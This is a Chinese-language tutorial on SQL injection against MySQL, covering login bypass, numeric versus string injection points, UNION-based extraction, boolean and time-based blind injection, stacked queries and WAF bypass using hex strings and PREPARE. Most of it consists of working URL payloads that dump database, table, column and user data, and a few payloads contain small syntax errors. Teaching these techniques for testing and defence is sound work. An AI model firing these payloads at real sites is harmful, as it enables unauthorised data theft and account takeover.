SQL注入原理与方法
1.什么是SQL注入
SQL 注入是一种将恶意的 SQL 代码插入或“注入”到用于从数据库执行查询的输入字段中的攻击技术。其根本原因是程序没有严格地将用户输入的数据与代码(SQL 指令)进行分离,导致攻击者输入的数据被数据库误认为是代码的一部分并执行。下面我以Mysql为例来讲述。
2.SQL注入的原理
以一个登录场景为例,后端的PHP代码如下:
如果用户输入
admin
和123456
,生成的SQL语句是:
这是完全正确的,用户能够正常登录。
SQL 注入攻击:
攻击者在用户名输入框中输入:' OR '1'='1' -- ;
密码可以随意输入,比如abc。生成的
SQL语句是:
语句执行过程如下:
(1)username = ''
这部分是假的。
(2)OR '1'='1'
这是一个永真条件,因为'1'='1'
永远为True。
(3)--(注意后面要加空格)
在SQL中是注释符,它意味着后面的所有内容都被注释掉了,不再执行。它会返回
users
表中的所有用户记录。如果登录逻辑是“只要查询到记录就认为登录成功”,那么攻击者就能以第一个返回的用户(通常是管理员)身份成功登录系统。
3.注入类型判断
3.1 数字型注入
假设后端SQL语句如下:
$id
是一个变量,它没有被单引号包围。程序期望这里传入的是一个数字,比如 1、2、3。
1.逻辑异常法:注入
AND 1=1
和AND 1=2
。
payload:
?id=1 AND 1=1
-> 正常页面(因为1=1
永真,条件成立)payload:
?id=1 AND 1=2
-> 异常页面(空页面、错误信息等,因为1=2
永假,条件不成立)如果出现上述“正常”和“异常”的明显区别,则极可能是数字型注入。 因为我们的逻辑被直接拼接到了SQL条件中。
2.算术运算法:注入数学运算。
payload:
?id=3-2
最终SQL:
SELECT * FROM users WHERE id = 3-2;
如果返回的页面与
?id=1
的页面完全相同,说明数据库执行了3-2
这个运算,并将结果1
用于查询。这基本可以断定是数字型注入。
3.2 字符型注入
假设后端SQL语句如下:
$username
是一个变量,它被单引号包围。程序期望这里传入的是一段字符串,比如 'admin'。
1.单引号试探法:
payload:
?username=admin'
SELECT * FROM users WHERE username = 'admin'';
(单引号未闭合,语法错误)如果页面返回了数据库错误信息(如:You have an error in your SQL syntax...),说明我们输入的单引号破坏了SQL语法,这强烈暗示存在字符型注入,
2.逻辑异常法:
我们需要先闭合引号,再插入我们的逻辑。
payload:
?username=admin' AND '1'='1
SELECT * FROM users WHERE username = 'admin' AND '1'='1';
观察页面反应:如果
admin' AND '1'='1 显示
页面正常;而admin' AND '1'='2
显示页面异常。如果出现这种区别,则说明是字符型注入。
4.SQL注入的方法
假设有一个商品展示页面:http://example.com/products.php?id=1
4.1 联合查询注入
联合注入是利用 SQL 的 UNION
操作符,将恶意查询的结果与原始查询结果合并,从而在应用程序页面上直接显示数据库数据的攻击技术。
UNION 操作符的特性:
UNION
用于合并两个或多个 SELECT 语句的结果集每个 SELECT 语句必须拥有相同数量的列
列的数据类型必须兼容
默认会去除重复行,使用
UNION ALL
可以包含重复行
(1)测试注入点
?id=1' AND '1'='1' -- 正常 ?id=1' AND '1'='2' -- 空页面,存在注入
(2)确定列数
?id=1' ORDER BY 1 -- 正常 ?id=1' ORDER BY 2 -- 正常 ?id=1' ORDER BY 3 -- 正常 ?id=1' ORDER BY 4 -- 报错!确认有3列
(3)确定显示位
?id=1' UNION SELECT 1,2,3 --
(4)页面显示
位置 1:不显示 位置 2:显示为 "2"(商品标题位置) 位置 3:显示为 "3"(商品描述位置)
(5)获取数据库信息
?id=1' UNION SELECT 1,database(),version() --
(6)获取所有表名
?id=1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--
(7)获取表的列名
?id=1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='表名' AND table_schema=database() --
(8)提取用户数据
?id=1' UNION SELECT 1,2,group_concat(列名)FROM 表名 --
注意:group_concat函数可以将一列中的数据拼接起来(用逗号隔开),但是长度有限制。
4.2 布尔盲注
布尔盲注是一种在没有直接数据回显、没有报错信息、没有时间延迟反馈的情况下,通过观察页面返回的布尔状态差异来逐位推断数据的 SQL 注入技术。
(1)测试注入点与布尔状态
?id=1' AND '1'='1' -- 真条件(显示商品存在) ?id=1' AND '1'='2' -- 假条件(显示商品不存在)
(2)获取数据库信息
//获取数据库长度,直到页面返回"真"状态 ?id=1' AND LENGTH(DATABASE())=1 -- ?id=1' AND LENGTH(DATABASE())=2 -- ?id=1' AND LENGTH(DATABASE())=3 --
//获取当前数据库名,直到找到所有正确字符 ?id=1' AND SUBSTRING(DATABASE(),1,1)='a' -- ?id=1' AND SUBSTRING(DATABASE(),1,1)='b' --
//使用ASCII码提高效率 ?id=1' AND ASCII(SUBSTRING(DATABASE(),1,1))>100 -- ?id=1' AND ASCII(SUBSTRING(DATABASE(),1,1))<100 --
(3)获取表名
//获取表数量 ?id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=3 --
//获取第一个表名长度 ?id=1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1))=10 --
//逐字符获取第一个表名 ?id=1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=115 --
//检查是否存在某一列 ?id=1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' AND column_name='列名')=1 --
(4)获取列名
//获取表的列数量 ?id=1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名')=3 --
//获取第一个列名长度 ?id=1' AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' LIMIT 0,1))=5
//逐字符获取第一个列名 ?id=1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' LIMIT 0,1),1,1))=115 --
//检查是否存在某一个表 ?id=1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' )=1 --
(5)提取数据
//获取数据记录数量 ?id=1' AND (SELECT COUNT(*) FROM 表名)=100 --
//获取某一列第一条数据的长度 ?id=1' AND LENGTH((SELECT 列名 FROM 表名 LIMIT 0,1))=8 --
//提取某一列第一条数据的第一个字符 ?id=1' AND ASCII(SUBSTRING((SELECT 列名 FROM 表名 LIMIT 0,1),1,1))=97
4.3 时间盲注
时间盲注是一种在没有任何直接回显、没有任何错误信息、没有任何页面状态差异的情况下,通过观察数据库响应时间延迟来推断数据的 SQL 注入技术。
(1)确认注入点与延时功能
//真条件延时 ?id=1' AND IF(1=1, SLEEP(5), 0)-- //假条件不延时 ?id=1' AND IF(1=2, SLEEP(5), 0)-- 如果第一个请求延时,第二个不延时,说明时间盲注可行
(2)获取数据库基本信息
//获取数据库名长度,直到页面响应时间约3秒 ?id=1' AND IF(LENGTH(DATABASE())=1, SLEEP(3), 0)-- ?id=1' AND IF(LENGTH(DATABASE())=2, SLEEP(3), 0)-- ?id=1' AND IF(LENGTH(DATABASE())=3, SLEEP(3), 0)--
//猜解第一个字符的ASCII码,直到找到所有正确字符 ?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)='a', SLEEP(3), 0)-- ?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)='b', SLEEP(3), 0)--
//使用ASCII码提高效率 ?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)) BETWEEN 97 AND 122, SLEEP(3), 0)--
(3)获取表名
//获取表数量 ?id=1' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=5, SLEEP(3), 0)--
//获取第一个表名长度 ?id=1' AND IF(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1))=10, SLEEP(3), 0)--
//逐字符获取表名 ?id=1' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=117, SLEEP(3), 0)--
//检查是否存在某一个表 ?id=1' AND IF(EXISTS(SELECT 1 FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name='表名'), SLEEP(3), 0)--
(4)获取列名
//获取表的列数量 ?id=1' AND IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名')=3, SLEEP(3), 0)--
//获取第一个列名长度 ?id=1' AND IF(LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' LIMIT 0,1))=5,SLEEP(3), 0)--
//逐字符获取第一个列名 ?id=1' AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' LIMIT 0,1),1,1))=105, SLEEP(3), 0)--
//检查是否存在某一列 ?id=1' AND IF(EXISTS(SELECT 1 FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='表名' AND column_name='列名'), SLEEP(3), 0)--
(5)提取数据
//获取数据记录数量 ?id=1' AND IF((SELECT COUNT(*) FROM users)=100, SLEEP(3), 0)--
//获取某一列第一条数据的长度 ?id=1' AND IF(LENGTH((SELECT username FROM users LIMIT 0,1))=8, SLEEP(3), 0)
//提取某一列第一条数据的第一个字符 ?id=1' AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))=97, SLEEP(3), 0)--
4.4 堆叠注入
堆叠注入是一种通过分号 ;
分隔,在一次数据库请求中执行多条 SQL 语句的注入技术。与普通注入只能执行单个查询不同,堆叠注入可以执行任意 SQL 命令。数据库要支持多语句执行,如MySQL(需要 mysqli_multi_query
或特定配置);应用程序使用支持多语句的API;输入未充分过滤,如;。
(1)查看数据库
?id=1' ; show databases;--
(2)获取表名
?id=1' ; show tables;--
(3)获取列名
id=1' ; show column from 表名;--
如:?id=1';show columns from `users`;-- 表名users需要被 ` 这个符号包起来,这个符号是 esc下面一个的按键,这个符号在mysql里用于分割其他命令,表示此为(表名、列名)。
(4)获取数据
//select等关键词未过滤的情况 ?id=1' ; select 列名 from 表名;--
//select等关键词被过滤,使用16进制进行绕过 ?id=1' ; Set @a=sql语句的16进制;prepare execsql from @a;execute execsql;--
//select等关键词被过滤,使用SQL预处理 1';prepare execsql from concat('s','elect','* from 表名');execute execsql;--
预处理绕过原理:
应用层/WAF:只能监控到
PREPARE
和EXECUTE
语句数据库内部:在准备阶段完成字符串拼接,执行阶段直接运行完整SQL
防护盲点:防护设备无法在数据库内部监控动态构造的SQL
注意:还有大小写混合、双写关键、注释分割、其他编码形式的绕过。